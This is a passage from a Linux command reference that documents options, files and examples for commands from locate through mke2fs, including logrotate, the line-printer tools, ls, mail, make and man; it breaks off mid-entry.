Search database(s) of filenames and print matches. *, ?, [, and ] are treated specially; / and . are not. Matches include all files that contain pattern, unless pattern includes metacharacters, in which case locate requires an exact match.

Options

-d path, --database=path

Search databases in path. path must be a colon- separated list.

-h, --help

Print a help message and then exit.

--version

Print version information and then exit.

lockfile

lockfile [options] filenames

Create semaphore file(s), used to limit access to a file. When lockfile fails to create some of the specified files, it pauses for 8 seconds and retries the last one on which it failed. The command processes flags as they are encountered (i.e., a flag that is specified after a file will not affect that file).

Options

-sleeptime

Time lockfile waits before retrying after a failed creation attempt. Default is 8 seconds.

-!

Invert return value. Useful in shell scripts.

-l lockout_time

Time (in seconds) after a lockfile was last modified at which it will be removed by force. See also -s.

-ml, -mu

If the permissions on the system mail spool directory allow it or if lockfile is suitably setgid, it can lock and unlock your system mailbox with the options -ml and -mu, respectively.

-r retries

Stop trying to create files after retries retries. The default is -1 (never stop trying). When giving up, remove all created files.

-s suspend_time

After a lockfile has been removed by force (see -l), a suspension of 16 seconds takes place by default. (This is intended to prevent the inadvertent immediate removal of any lockfile newly created by another program.) Use -s to change the default 16 seconds.

logger

logger [options] [message...]

TCP/IP command. Add entries to the system log (via syslogd). A message can be given on the command line, or standard input is logged.

Options

-f file

Read message from file.

-i

Include the process ID of the logger process.

-p pri

Enter message with the specified priority pri. Default is user.notice.

-t tag

Mark every line in the log with the specified tag.

login

login [name | option]

Log in to the system. login asks for a username (name can be supplied on the command line) and password (if appropriate).

If successful, login updates accounting files, sets various environment variables, notifies users if they have mail, and executes startup shell files.

Only the root user can log in when /etc/nologin exists. That file is displayed before the connection is terminated. Furthermore, root may connect only on a tty that is listed in /etc/securetty. If ~/.hushlogin exists, execute a quiet login. If /var/adm/lastlog exists, print the time of the last login.

Options

-f

Suppress second login authentication.

-h host

Specify name of remote host. Normally used by servers, not humans; may be used only by root.

-p

Preserve previous environment.

logname

logname [option]

Consult /var/run/utmp for user's login name. If found, print it; otherwise, exit with an error message.

Options

--help

Print a help message and then exit.

--version

Print version information and then exit.

logrotate

logrotate [options] config_files

System administration command. Manipulate log files according to commands given in config_files.

Options

-d

Debug mode. No changes will be made to log files.

-s, --state file

Save state information in file. The default is /var/lib/logrotate.status.

--usage

Usage version and copyright information.

Commands

compress

Compress old versions of log files with gzip.

copytruncate

Copy log file, then truncate it in place. For use with programs whose logging cannot be temporarily halted.

create [permissions] [owner] [group]

After rotation, re-create log file with the specified permissions, owner, and group. permissions must be in octal. If any of these parameters is missing, the log file's original attributes will be used.

daily

Rotate log files every day.

delaycompress

Don't compress log file until the next rotation.

errors address

Mail any errors to the given address.

endscript

End a postrotate or prerotate script.

ifempty

Rotate log file even if it is empty. Overrides the default notifempty option.

include file

Read the file into current file. If file is a directory, read all files in that directory into the current file.

mail address

Mail any deleted logs to address.

monthly

Rotate log files only the first time logrotate is run in a month.

nocompress

Override compress.

nocopytruncate

Override copytruncate.

nocreate

Override create.

nodelaycompress

Override delaycompress.

noolddir

Override olddir.

notifempty

Override ifempty.

olddir directory

Move logs into directory for rotation. directory must be on the same physical device as the original log files.

postrotate

Begin a script of directives to apply after the log file is rotated. The script ends when the endscript directive is read.

prerotate

Begin a script of directives to apply before a log file is rotated. The script ends when the endscript directive is read.

rotate number

The number of times to rotate a log file before removing it.

size n[k|M]

Rotate log file when it is greater than n bytes. n can optionally be followed by k for kilobytes or M for megabytes.

look

look [options] string [file]

Search for lines in file (/usr/dict/words by default) that begin with string.

Options

-a

Use alternate dictionary /usr/dict/web2.

-d

Compare only alphanumeric characters.

-f

Search is not case-sensitive.

-t character

Stop checking after the first occurrence of character.

lpc

lpc [command]

System administration command. Control line printer. If executed without a command, lpc will accept commands from standard input.

Commands

?, help [commands]

Get a list of commands or help on specific commands.

abort all|printer

Terminate current printer daemon and disable printing for the specified printer.

clean all|printer

Remove files that cannot be printed from the specified printer queues.

disable all|printer

Disable specified printer queues.

down all|printer message

Disable specified printer queues and put message in the printer status file.

enable all|printer

Enable the specified printer queues.

exit, quit

Exit lpc.

restart all|printer

Try to restart printer daemons for the specified printers.

start all|printer

Enable the printer queues and start printing daemons for the specified printers.

status all|printer

Return the status of the specified printers.

stop all|printer

Disable the specified printer daemons after any current jobs are completed.

topq printer [jobnumbers] [users]

Put the specifed jobs at the top of the printer's queue in the order the jobs are listed.

up all|printer

Enable print queues and restart daemons for the specified printers.

lpd

lpd [option] [port]

TCP/IP command. Line printer daemon. lpd is usually invoked at boot time from the rc2 file. It makes a single pass through the printer configuration file (traditionally /etc/printcap) to find out about the existing printers and prints any files left after a crash. It then accepts requests to print files in a queue, transfer files to a spooling area, display a queue's status, or remove jobs from a queue. In each case, it forks a child process for each request, then continues to listen for subsequent requests. If port is specified, lpd listens on that port; otherwise, it uses the getservbyname call to ascertain the correct port.

The file lock in each spool directory prevents multiple daemons from becoming active simultaneously. After the daemon has set the lock, it scans the directory for files beginning wth cf. Lines in each cf file specify files to be printed or nonprinting actions to be performed. Each line begins with a key character, which specifies information about the print job or what to do with the remainder of the line. Key characters are:

C

Classification -- string to be used for the classification line on the burst page.

c

cifplot file.

f

Formatted file -- name of a file to print that is already formatted.

g

Graph file.

H

Hostname -- name of machine where lpd was invoked.

J

Job name -- string to be used for the jobname on the burst page.

L

Literal -- this line contains identification information from the password file and causes the banner page to be printed.

l

Formatted file, but suppress page breaks and printing of control characters.

M

Mail -- send mail to the specified user when the current print job completes.

n

ditroff file.

P

Person -- login name of person who invoked lpd.

r

DVI file.

T

Title -- string to be used as the title for pr.

t

troff file.

U

Unlink -- name of file to remove upon completion of printing.

Option

-l

Enable logging of all valid requests.

Files

/etc/printcap

Printer description file

/var/spool/*

Spool directories

/var/spool/*/minfree

Minimum free space to leave

/dev/lp*

Printer devices

/etc/hosts.equiv

Machine names allowed printer access

/etc/hosts.lpd

Machine names allowed printer access, but not under same administrative control

lpq

lpq [options] [user]

Check the print spool queue for status of print jobs. For each job, display username, rank in the queue, filenames, job number, and total file size (in bytes). If user is specified, display information only for that user.

Options

-l

Print information about each file comprising a job.

-P printer

Specify which printer to query. Without this option, lpq uses the printer set in the PRINTER environment variable or the default system printer.

num

Check status for job number num.

lpr

lpr [options] files

Send files to the printer spool queue.

Options

-c

Expect data produced by cifplot.

-d

Expect data produced by TeX in the DVI (device- independent) format.

-f

Use a filter that interprets the first character of each line as a standard carriage control character.

-g

Expect standard plot data as produced by the plot routines.

-l

Use a filter that allows control characters to be printed and suppresses page breaks.

-n

Expect data from ditroff (device-independent troff).

-p

Use pr to format the files.

-t

Expect data from troff (phototypesetter commands).

-v

Expect a raster image for devices like the Benson Varian.

-P printer

Output to printer instead of the printer specified in the PRINTER environment variable or the system default.

-h

Do not print the burst page.

-m

Send mail to notify of completion.

-r

Remove the file upon completion of spooling. Cannot be used with the -s option.

-s

Use symbolic links instead of copying files to the spool directory. This can save time and disk space for large files. Files should not be modified or removed until they have been printed.

-#num

Print num copies of each listed file.

-C string

Replace system name on the burst page with string.

-J name

Replace the job name on the burst page with name. If omitted, uses the first file's name.

-T title

Use title as the title when using pr.

-i [cols]

Indent the output. Default is 8 columns. Specify number of columns to indent with the cols argument.

-w num

Set num characters as the page width for pr.

lprm

lprm [options] [jobnum] [user]

Remove a print job from the print spool queue. You must specify a job number or numbers, which can be obtained from lpq. A privileged user may use the user parameter to remove all files belonging to a particular user or users.

Options

-P printer

Specify printer name. Normally, the default printer or printer specified in the PRINTER environment variable is used.

-

Remove all jobs in the spool owned by user.

lpstat

lpstat [options]

Show the status of the print queue. With options that take a list argument, omitting the list produces all information for that option. list can be separated by commas or, if enclosed in double quotes, by spaces.

Options

-a [list]

Show whether the list of printer or class names is accepting requests.

-c [list]

Show information about printer classes named in list.

-d

Show the default printer destination.

-f [list]

Verify that the list of forms is known to lp.

-l

Use after -f to describe available forms, after -p to show printer configurations, or after -s to describe printers appropriate for the specified character set or print wheel.

-o [list]

Show the status of output requests. list contains printer names, class names, or request IDs.

-p [list]

Show the status of printers named in list.

-r

Show whether the print scheduler is on or off.

-R

Show the job's position in the print queue.

-s

Summarize the print status (shows almost everything).

-t

Show all status information (reports everything).

-u [list]

Show request status for users on list. list can be all to show information on all users.

-v [list]

Show device associated with each printer named in list.

lptest

lptest [length] [count]

Generate a lineprinter test pattern on standard output. Prints a standard ripple pattern of all printable ASCII characters, offset by one position on each succeeding line.

Parameters

length

Specify the output line length (default is 79).

count

Specify the number of lines to print (default is 200).

ls

ls [options] [names]

List contents of directories. If no names are given, list the files in the current directory. With one or more names, list files contained in a directory name or that match a file name. names can include filename metacharacters. The options let you display a variety of information in different formats. The most useful options include -F, -R, -l, and -s. Some options don't make sense together (e.g., -u and -c).

Options

-1, --format=single-column

Print one entry per line of output.

-a

List all files, including the normally hidden files whose names begin with a period.

-b, --escape

Display nonprinting characters in octal and alphabetic format.

-c, --time-ctime, --time=status

List files by status change time (not creation/modification time).

--color, --colour, --color=yes, --colour=yes

Colorize the names of files depending on the type of file.

--color=no, --colour=no

Disables colorization. This is the default. Provided to override a previous color option.

--color=tty, --colour=tty

Same as --color, but only if standard output is a terminal. Very useful for shell scripts and command aliases, especially if your favorite pager does not support color control codes.

-d, --directory

Report only on the directory, not its contents.

-f

Print directory contents in exactly the order in which they are stored, without attempting to sort them.

--full-time

List times in full, rather than use the standard abbreviations.

--help

Print a help message and then exit.

-i, --inode

List the inode for each file.

-k, --kilobytes

If file sizes are being listed, print them in kilobytes. This option overrides the environment variable POSIXLY_CORRECT.

-l, --format=long, --format=verbose

Long format listing (includes permissions, owner, size, modification time, etc.).

-m, --format=commas

Merge the list into a comma-separated series of names.

-n, --numeric-uid-gid

Like -l, but use group-ID and user-ID numbers instead of owner and group names.

-p

Mark directories by appending / to them.

-q, --hide-control-chars

Show nonprinting characters as ?.

-r, --reverse

List files in reverse order (by name or by time).

-s, --size

Print size of the files in blocks.

-t, --sort=time

Sort files according to modification time (newest first).

-u, --time=atime, --time=access, --time=use

Sort files according to the file access time.

--version

Print version information on standard output, then exit.

-x, --format=across, --format=horizontal

List files in rows going across the screen.

-A, --almost-all

List all files, including the normally hidden files whose names begin with a period. Does not include the . and . directories.

-B, --ignore-backups

Do not list files ending in ~, unless given as arguments.

-C, --format=vertical

List files in columns (the default format).

-F, --classify

Flag filenames by appending / to directories, * to executable files, @ to symbolic links, | to FIFOs, and = to sockets.

-G, --no-group

In long format, do not display group name.

-I, --ignore pattern

Do not list files whose names match the shell pattern pattern, unless they are given on the command line.

-L, --dereference

List the file or directory referenced by a symbolic link rather than the link itself.

-N, --literal

Do not list filenames.

-Q, --quote-name

Quote filenames with "; quote nongraphic characters with alphabetic and octal backslash sequences.

-R, --recursive

Recursively list subdirectories as well as the specified (or current) directory.

-S, --sort=size

Sort by file size, largest to smallest.

-T, --tabsize n_cols

Assume that each tabstop is n_cols columns wide. The default is 8.

-U, --sort=none

Do not sort files. Similar to -f but display in long format.

-X, --sort=extension

Sort by file extension.

Examples

List all files in the current directory and their sizes; use multiple columns and mark special files:

ls -asCF

List the status of directories /bin and /etc:

ls -ld /bin /etc

List C source files in the current directory, the oldest first:

ls -rt *.c

Count the nonhidden files in the current directory:

ls | wc -l

lsattr

lsattr [options] [files]

Print attributes of files on a Linux Second Extended File System. See also chattr.

Options

-a

List all files in specified directories.

-d

List directories' attributes, not the attributes of the contents.

-R

List directories and their contents recursively.

-v

List version of files.

-V

List version and then exit.

lsmod

lsmod

System administration command. List all loaded modules: their name, size (in 4KB units) and, if appropriate, a list of referring modules.

File

/proc/modules

Source of the same information.

m4

m4 [options] [macros] [files]

Macro processor for C and other files.

Options

-e, --interactive

Operate interactively, ignoring interrupts.

-d flags, --debug=flags

Specify flag-level debugging.

-l n, --arglength=n

Specify the length of debugging output.

-o file, --error-output=file

Place output in file. Despite the name, print error messages on standard error.

-p, --prefix-built-ins

Prepend m4_ to all built-in macro names.

-s, --synclines

Insert #line directives for the C preprocessor.

-B n

Set the size of the push-back and argument collection buffers to n (default is 4096).

-D name[=value], --define=name[=value]

Define name as value or, if value is not specified, define name as null.

-E, --fatal-warnings

Consider all warnings to be fatal, and exit after the first of them.

-F file, --freeze-state file

Record m4's frozen state in file, for later reloading.

-G, --traditional

Behave like traditional m4, ignoring GNU extensions.

-H n, --hashsize=n

Set symbol-table hash array to n (default is 509).

-I directory, --include=directory

Search directory for include files.

-Q, --quiet, --silent

Suppress warning messages.

-R file, --reload-state file

Load state from file before starting execution.

-U name, --undefine=name

Undefine name.

mail

mail [options] [users]

Read mail or send mail to other users. The mail utility allows you to compose, send, receive, forward, and reply to mail. mail has two main modes: compose mode, in which you create a message, and command mode, in which you manage your mail.

While mail is a powerful utility, it can be tricky for a novice user. Most Linux distributions include pine and elm, which are much easier to use.

This section presents mail commands, options, and files. To get you started, here are two of the most basic commands.

To enter interactive mail-reading mode, type:

mail

To begin writing a message to user, type:

mail user

Enter the text of the message, one line at a time, pressing Enter at the end of each line. To end the message, enter a single period (.) in the first column of a new line, and press Enter.

Command-line options

-b list

Set blind carbon copy field to comma-separated list.

-c list

Set carbon copy field to comma-separated list.

-d

Print debugging information.

-f [file]

Process contents of file, instead of /var/spool/mail/$user. If file is omitted, process mbox in the user's home directory.

-i

Do not respond to tty interrupt signals.

-n

Do not consult /etc/mail.rc when starting up.

-p

Read mail in POP mode.

-s subject

Set subject to subject.

-u

Process contents of /var/spool/mail/$user. Default.

-v

Verbose. Print information about mail delivery to standard out.

-I

Interactive -- even when standard input has been redirected from the terminal.

-N

When printing a mail message or entering a mail folder, do not display message headers.

-P

Disable POP mode.

Compose-mode commands

~!

Execute a shell escape from compose mode.

~?

List compose mode escapes.

~b names

Add names to or edit the Bcc: header.

~c names

Add names to or edit the Cc: header.

~d

Read in the dead.letter file.

~e

Invoke text editor.

~f messages

Insert messages into message being composed.

~F messages

Similar to ~f, but include message headers.

~h

Add to or change all the headers interactively.

~m messages

Similar to ~f, but indent with a tab.

~M messages

Similar to ~m, but include message headers.

~p

Print message header fields and message being sent.

~q

Abort current message composition.

~r filename

Append file to current message.

~s string

Change Subject: header to string.

~t names

Add names to or edit the To list.

~v

Invoke editor specified with the VISUAL environment variable.

~| command

Pipe message through command.

~: mail-command

Execute mail-command.

~~string

Insert string in text of message, prefaced by a single tilde (~). If string contains a ~, it must be escaped with a \.

Command-mode commands

? | List summary of commands (help screen).
! | Execute a shell command.
- num | Print numth previous message; defaults to immediately previous.
alias (a) | Print or create alias lists.
alternates (alt) | Specify remote accounts on remote machines that are yours. Tell mail not to reply to them.
chdir (c) | cd to home or specified directory.
copy (co) | Similar to save, but do not mark message for deletion.
delete (d) | Delete message.
dp | Delete current message and display next one.
edit (e) | Edit message.
exit (ex, x) | Exit mail without updating folder.
file (fi) | Switch folders.
folder (fold) | Read messages saved in a file. Files can be:
 | # Previous
 | % System mailbox
 | %user user's system mailbox
 | & mbox
 | +folder File in folder directory.
folders | List folders.
headers (h) | List message headers at current prompt.
headers+ (h+) | Move forward one window of headers.
headers- (h-) | Move back one window of headers.
help | Same as ?.
hold (ho) | Hold messages in system mailbox.
ignore | Append list of fields to ignored fields.
mail user (m) | Compose message to user.
mbox | Default. Move specified messages to mbox on exiting.
next (n) | Type next message or next message that matches argument.
preserve (pr) | Synonym for hold.
print [list] (p) | Display each message in list.
Print [list] (P) | Similar to print, but include header fields.
quit (q) | Exit mail and update folder.
reply (r) | Send mail to all on distribution list.
Reply (R) | Send mail to author only.
respond | Same as reply.
retain | Always include this list of header fields when printing messages. With no arguments, list retained fields.
save (s) | Save message to folder.
saveignore | Remove ignored fields when saving.
saveretain | Override saveignore to retain specified fields.
set (se) | Set or print mail options.
shell (sh) | Enter a new shell.
size | Print size of each specified message.
source | Read commands from specified file.
top | Print first few lines of each specified message.
type (t) | Same as print.
Type (T) | Same as Print.
unalias | Discard previously defined aliases.
undelete (u) | Restore deleted message.
unread (U) | Mark specified messages as unread.
unset (uns) | Unset mail options.
visual (v) | Edit message with editor specified by the VISUAL environment variable.
write (w) | Write message, without header, to file.
xit (x) | Same as exit.
z | Move mail's attention to next windowful of text. Use z- to move it back.

mail options

These options are used inside of the .mailrc file. The syntax is set option or unset option.

append | Append (do not prepend) messages to mbox.
ask | Prompt for subject.
askbcc | Prompt for blind carbon copy recipients.
askcc | Prompt for carbon copy recipients.
asksub | Prompt for Subject line.
autoprint | Print next message after a delete.
chron | Display messages in chronological order, most recent last.
debug | Same as -d on command line.
dot | Interpret a solitary . as an EOF.
folder | Define directory to hold mail folders.
hold | Keep message in system mailbox upon quitting.
ignore | Ignore interrupt signals from terminal. Print them as @.
ignoreeof | Do not treat ^D as an EOF.
metoo | Do not remove sender from groups when mailing to them.
noheader | Same as -N on command line.
nokerberos | Retrieve POP mail via POP3, not KPOP, protocol.
nosave | Do not save aborted letters to dead.letter.
pop-mail | Retrieve mail with POP3 protocol, and save it in mbox.pop.
prompt | Set prompt to a different string.
Replyall | Switch roles of Reply and reply.
quiet | Do not print version at startup.
searchheaders | When given the specifier /x:y, expand all messages that contain the string y in the x header field.
verbose | Same as -v on command line.
verbose-pop | Display status while retrieving POP mail.

Special files

calendar | Contains reminders that the operating system mails to you.
.maildelivery | Mail delivery configuration file.
.mailrc | Mail configuration file.
triplog | Keeps track of your automatic response recipients.
tripnote | Contains automatic message.

mailq

mailq [option]

System administration command. List all messages in the sendmail mail queue. Equivalent to sendmail -bp.

Option

-v

Verbose mode.

mailstats

mailstats [options]

System administration command. Display a formatted report of the current sendmail mail statistics.

Options

-C file

Use sendmail configuration file file instead of the default sendmail.cf file.

-f file

Use sendmail statistics file file instead of the file specified in the sendmail configuration file.

-o

Don't show the name of the mailer in the report.

make

make [options] [targets] [macro definitions]

Update one or more targets according to dependency instructions in a description file in the current directory. By default, this file is called makefile or Makefile. Options, targets, and macro definitions can be in any order. Macros definitions are typed as:

name=string

For more information on make, see Managing Projects with make by Andrew Oram and Steve Talbott.

Options

-d, --debug

Print detailed debugging information.

-e, --environment-overrides

Override makefile macro definitions with environment variables.

-f makefile, --file=makefile, --makefile=makefile

Use makefile as the description file; a filename of - denotes standard input.

-h, --help

Print options to make command.

-i, --ignore-errors

Ignore command error codes (same as .IGNORE).

-j [jobs], --jobs [=jobs]

Attempt to execute jobs jobs simultaneously, or, if no number is specified, as many jobs as possible.

-k, --keep-going

Abandon the current target when it fails, but keep working with unrelated targets.

-l [load], --load-average [=load], --max-load [=load]

Attempt to keep load below load, which should be a floating-point number. Used with -j.

-n, --just-print, --dry-run, --recon

Print commands but don't execute (used for testing).

-o file, --old-file=file, --assume-old=file

Never remake file or cause other files to be remade on account of it.

-p, --print-data-base

Print rules and variables in addition to normal execution.

-q, --question

Query; return 0 if file is up-to-date; nonzero otherwise.

-r, --no-built-in-rules

Do not use default rules.

-s, --silent, --quiet

Do not display command lines (same as .SILENT).

-t, --touch

Touch the target files, without remaking them.

-v, --version

Show version of make.

-w, --print-directory

Display the current working directory before and after execution.

--warn -undefined -variables

Print warning if a macro is used without being defined.

-C directory, --directory directory

cd to directory before beginning make operations. A subsequent -C directive will cause make to attempt to cd into a directory relative to the current working directory.

-I directory, --include-dir directory

Include directory in list of directories that contain included files.

-S, --no-keep-going, --stop

Cancel previous -k options. Useful in recursive makes.

-W file, --what-if file, --new-file file, --assume-new file

Behave as though file has been recently updated.

Description file lines

Instructions in the description file are interpreted as single lines. If an instruction must span more than one input line, use a backslash (\) at the end of the line so that the next line is considered as a continuation. The description file may contain any of the following types of lines:

Blanklines

Blank lines are ignored.

Commentlines

A pound sign (#) can be used at the beginning of a line or anywhere in the middle. make ignores everything after the #.

Dependencylines

Depending on one or more targets, certain commands that follow will be executed. Possible formats include:

targets : dependencies
targets : dependencies ; command

Subsequent commands are executed if dependency files (the names of which may contain wildcards) do not exist or are newer than a target. If no prerequisites are supplied, then subsequent commands are always executed (whenever any of the targets are specified). No tab should precede any targets.

Suffixrules

These specify that files ending with the first suffix can be prerequisites for files ending with the second suffix (assuming the root filenames are the same). Either of these formats can be used:

.suffix.suffix:
.suffix:

The second form means that the root filename depends on the filename with the corresponding suffix.

Commands

Commands are grouped below the dependency line and are typed on lines that begin with a tab. If a command is preceded by a hyphen (-), make ignores any error returned. If a command is preceded by an at sign (@), the command line won't echo on the display (unless make is called with -n).

macrodefinitions

These have the following form:

name = string

or

define name
string
endef

Blank space is optional around the =.

includestatements

Similar to the C include directive, these have the form:

include files

Internal macros

$?

The list of prerequisites that have been changed more recently than the current target. Can be used only in normal description file entries -- not suffix rules.

$@

The name of the current target, except in description file entries for making libraries, where it becomes the library name. Can be used both in normal description file entries and in suffix rules.

$<

The name of the current prerequisite that has been modified more recently than the current target.

$*

The name -- without the suffix -- of the current prerequisite that has been modified more recently than the current target. Can be used only in suffix rules.

$%

The name of the corresponding .o file when the current target is a library module. Can be used both in normal description file entries and in suffix rules.

$^

A space-separated list of all dependencies, with no duplications.

$+

A space-separated list of all dependencies, including duplications.

Pattern rules

These are a more general application of the idea behind suffix rules. If a target and a dependency both contain %, GNU make will substitute any part of an existing filename. For instance, the standard suffix rule:

$(cc) -o $@ $<

can be written as the following pattern rule:

%.o : %.c
$(cc) -o $@ $<

Macro modifiers

D

The directory portion of any internal macro name except $?. Valid uses are:

$(*D)   $$(@D)   $(?D)   $(<D)
$(%D)   $(@D)    $(^D)
F

The file portion of any internal macro name except $?. Valid uses are:

$(*F)   $$(@F)   $(?F)   $(<F)
$(%F)   $(@F)    $(^F)

Functions

$(subst from, to, string)

Replace all occurrences of from with to in string.

$(patsubst pattern, to, string)

Similar to subst, but treat % as a wildcard within pattern. Substitute to for any word in string that matches pattern.

$(strip string)

Remove all extraneous whitespace.

$(findstring substring, mainstring)

Return substring if it exists within mainstring; otherwise, return null.

$(filter pattern, string)

Return those words in string that match at least one word in pattern. patterns may include the wildcard %.

$(filter-out pattern, string)

Remove those words in string that match at least one word in pattern. patterns may include the wildcard %.

$(sort list)

Return list, sorted in lexical order.

$(dir list)

Return the directory part (everything up to the last slash) of each filename in list.

$(notdir list)

Return the nondirectory part (everything after the last slash) of each filename in list.

$(suffix list)

Return the suffix part (everything after the last period) of each filename in list.

$(basename list)

Return everything but the suffix part (everything up to the last period) of each filename in list.

$(addsuffix suffix,list)

Return each filename given in list with suffix appended.

$(addprefix prefix,list)

Return each filename given in list with prefix prepended.

$(join list1,list2)

Return a list formed by concatenating the two arguments, word by word (e.g., $(join a b,.c .o) becomes a.c b.o).

$(word n,string)

Return the nth word of string.

$(words string)

Return the number of words in string.

$(firstword list)

Return the first word in the list list.

$(wildcard pattern)

Return a list of existing files in the current directory that match pattern.

$(origin variable)

Return one of the following strings that describes how variable was defined: undefined, default, environment, environment override, file, command line, override, or automatic.

$(shell command)

Return the results of command. Any newlines in the result are to be converted to spaces. This function works similarly to backquotes in most shells.

Macro string substitution

$(macro:s1=s2)

Evaluates to the current definition of $(macro), after substituting the string s2 for every occurrence of s1 that occurs either immediately before a blank or tab or at the end of the macro definition.

Special target names

.DEFAULT:

Commands associated with this target are executed if make can't find any description file entries or suffix rules with which to build a requested target.

.EXPORT_ALL_VARIABLES:

If this target exists, export all macros to all child processes.

.IGNORE:

Ignore error codes. Same as the -i option.

.PHONY:

Always execute commands under a target, even if it is an existing, up-to-date file.

.PRECIOUS:

Files you specify for this target are not removed when you send a signal (such as an interrupt) that aborts make or when a command line in your description file returns an error.

.SILENT:

Execute commands, but do not echo them. Same as the -s option.

.SUFFIXES:

Suffixes associated with this target are meaningful in suffix rules. If no suffixes are listed, the existing list of suffix rules is effectively "turned off."

makedbm

makedbm [options] infile outfile

NFS/NIS command. Make NIS dbm file. makedbm takes infile and converts it to a pair of files in ndbm format, namely outfile.pag and outfile.dir. Each line of the input file is converted to a single dbm record. All characters up to the first TAB or SPACE form the key, and the rest of the line is the data. If line ends with \&, the data for that record is continued on to the next line. It is left for the NIS clients to interpret #; makedbm does not treat it as a comment character. infile can be -, in which case the standard input is read.

makedbm generates a special entry with the key yp_last_modified, which is the date of infile (or the current time, if infile is -).

Options

-b

Interdomain. Propagate a map to all servers using the interdomain name server named.

-d yp_domain_name

Create a special entry with the key yp_domain_name.

-i yp_input_file

Create a special entry with the key yp_input_file.

-l

Convert keys of the given map to lowercase.

-m yp_master_name

Create a special entry with the key yp_master_name. If no master hostname is specified, yp_master_name is set to the local hostname.

-o yp_output_file

Create a special entry with the key yp_output_name.

-s

Secure map. Accept connections from secure NIS networks only.

-u dbm filename

Undo a dbm file -- print out a dbm file, one entry per line, with a single space separating keys from values.

Example

It is easy to write shell scripts to convert standard files such as /etc/passwd to the key value form used by makedbm. For example, the awk program:

BEGIN { FS =":";OFS = "\t";}
{ print $1, $0}

takes the /etc/passwd file and converts it to a form that can be read by makdbm to make the NIS file passwd.byname. That is, the key is a username and the value is the remaining line in the /etc/passwd file.

makemap

makemap [options] type name

System administration command. Transfer from standard input to sendmail's database maps. Input should be formatted as:

key value

You may comment lines with #, may substitute parameters with %n, and must escape literal % by entering it as %%. The type must be dbm, btree, or hash. The name is a filename to which makemap appends standard suffixes.

Options

-d

Allow duplicate entries. Valid only with btree type maps.

-f

Suppress conversion of uppercase to lowercase.

-N

Append a zero byte to each key.

-o

Append to existing file instead of replacing it.

-r

If some keys already exist, replace them. (By default, makemap will exit when encountering a duplicated key.)

-s

Ignore safety checks.

-v

Verbose mode.

man

man [options] [section] [title]

Display information from the online reference manuals. man locates and prints the named title from the designated reference section.

Options

-7, --ascii

Expect a pure ASCII file, and format it for a 7-bit terminal or terminal emulator.

-a, --all

Show all pages matching title.

-b

Leave blank lines in output.

-d, --debug

Display debugging information. Suppress actual printing of manual pages.

-f, --whatis

Same as whatis command.

-k, --apropos

Same as apropos command.

-l, --local-file

Search local files, not system files, for manual pages. If i is given as filename, search standard input.

-m systems, --systems=systems

Search systems' manual pages. systems should be a comma-separated list.

-p preprocessors, --preprocessor=preprocessors

Preprocess manual pages with preprocessors before turning them over to nroff, troff, or groff. Always runs soelim first.

-r prompt, --prompt=prompt

Set prompt if less is used as pager.

-t, --troff

Format the manual page with /usr/bin/groff -Tgv -mandoc. Implied by -T and -Z.

-u, --update

Perform a consistency check between manual page cache and filesystem.

-w, --where, --location

Print pathnames of entries on standard output.

-D, --default

Reset all options to their defaults.

-L locale, --locale=locale

Assume current locale to be locale; do not consult the setlocale() function.

-M path, --manpath=path

Search for manual pages in path. Ignore -m option.

-P pager, --pager=pager

Select paging program pager to display the entry.

-T device, --troff-device[=device]

Format groff or troff output for device, such as dvi, latin1, X75, and X100.

-Z, --ditroff

Do not allow postprocessing of manual page after groff has finished formatting it.

Section names

Manual pages are divided into sections, depending on their intended audience:

1

Executable programs or shell commands

2

System calls (functions provided by the kernel)

3

Library calls (functions within system libraries)

4

Special files (usually found in /dev)

5

File formats and conventions (e.g., /etc/passwd)

6

Games

7

Macro packages and conventions

8

System administration commands (usually only for a privileged user)

9

Kernel routines (nonstandard)

manpath

manpath [options]

Attempt to determine path to manual pages. Check $MANPATH first; if that is not set, consult /etc/man.conf, user environment variables, and the current working directory. The manpath command is a symbolic link to man, but most of the options are ignored for manpath.

Options

-d, --debug

Print debugging information.

-h

Print help message and then exit.

merge

merge [options] file1 file2 file3

Perform a three-way file merge. merge incorporates all changes that lead from file2 to file3 and puts the results into file1. merge is useful for combining separate changes to an original. Suppose file2 is the original, and both file1 and file3 are modifications of file2. Then merge combines both changes. A conflict occurs if both file1 and file3 have changes in a common segment of lines. If a conflict is found, merge normally outputs a warning and puts brackets around the conflict, with lines preceded by <<<<<<< and >>>>>>>. A typical conflict looks like this:

<<<<<<< file1
relevant lines from file1
=======
relevant lines from file3
>>>>>>> file3

If there are conflicts, the user should edit the result and delete one of the alternatives.

Options

-e

Don't warn about conflicts.

-p

Send results to standard output instead of overwriting file1.

-q

Quiet; do not warn about conflicts.

-A

Output conflicts using the -A style of diff3. This merges all changes leading from file2 to file3 into file1 and generates the most verbose output.

-E

Output conflict information in a less verbose style than -A; this is the default.

-L label

Specify up to three labels to be used in place of the corresponding filenames in conflict reports. That is:

merge -L x -L y -L z file_a file_b file_c

generates output that looks as if it came from x, y, and z instead of from file_a, file_b, and file_c.

-V

Print version number.

mesg

mesg [option]

Change the ability of other users to send write messages to your terminal. With no options, display the permission status.

Options

n

Forbid write messages.

y

Allow write messages (the default).

mimencode

mimencode [options] [filename] [-o output_file]

mimencode [options] [filename] [-o output_file]

Translate to and from MIME encoding formats, the proposed standard for Internet multimedia mail formats. By default, mimencode reads standard input and sends a base64-encoded version of the input to standard output.

Options

-b

Use the (default) base64 encoding.

-o output_file

Send output to the named file rather than to standard output.

-p

Translate decoded CRLF sequences into the local newline convention during decoding and do the reverse during encoding; meaningful only when the default base64 encoding is in effect.

-q

Use the quoted-printable encoding instead of base64.

-u

Decode the standard input rather than encode it.

mkdir

mkdir [options] directories

Create one or more directories. You must have write permission in the parent directory in order to create a directory. See also rmdir. The default mode of the new directory is 0777, modified by the system or user's umask.

Options

-m, --mode mode

Set the access mode for new directories. See chmod for an explanation of acceptable formats for mode.

-p, --parents

Create intervening parent directories if they don't exist.

--verbose

Print a message for each directory created.

--help

Print help message and then exit.

--version

Print version number and then exit.

Examples

Create a read-only directory named personal:

mkdir -m 444 personal

The following sequence:

mkdir work; cd work
mkdir junk; cd junk
mkdir questions; cd ../..

can be accomplished by typing this:

mkdir -p work/junk/questions
mke2fs

mke2fs [options] device [blocks]

mkfs.ext2 [options] device [blocks]

System administration command. Format device as a Linux Second Extended Filesystem. You may specify the number of blocks on the device or allow mke2fs to guess.

Options

-b block-size

Specify block size in bytes.

-c

Scan device for bad blocks before execution.

-f fragment-size

Specify fragment size in bytes.

-i bytes-per-inode

Create an inode for each bytes-per-inode of space. bytes-per-inode must be 1024 or greater; it is 4096 by default.

-l filename

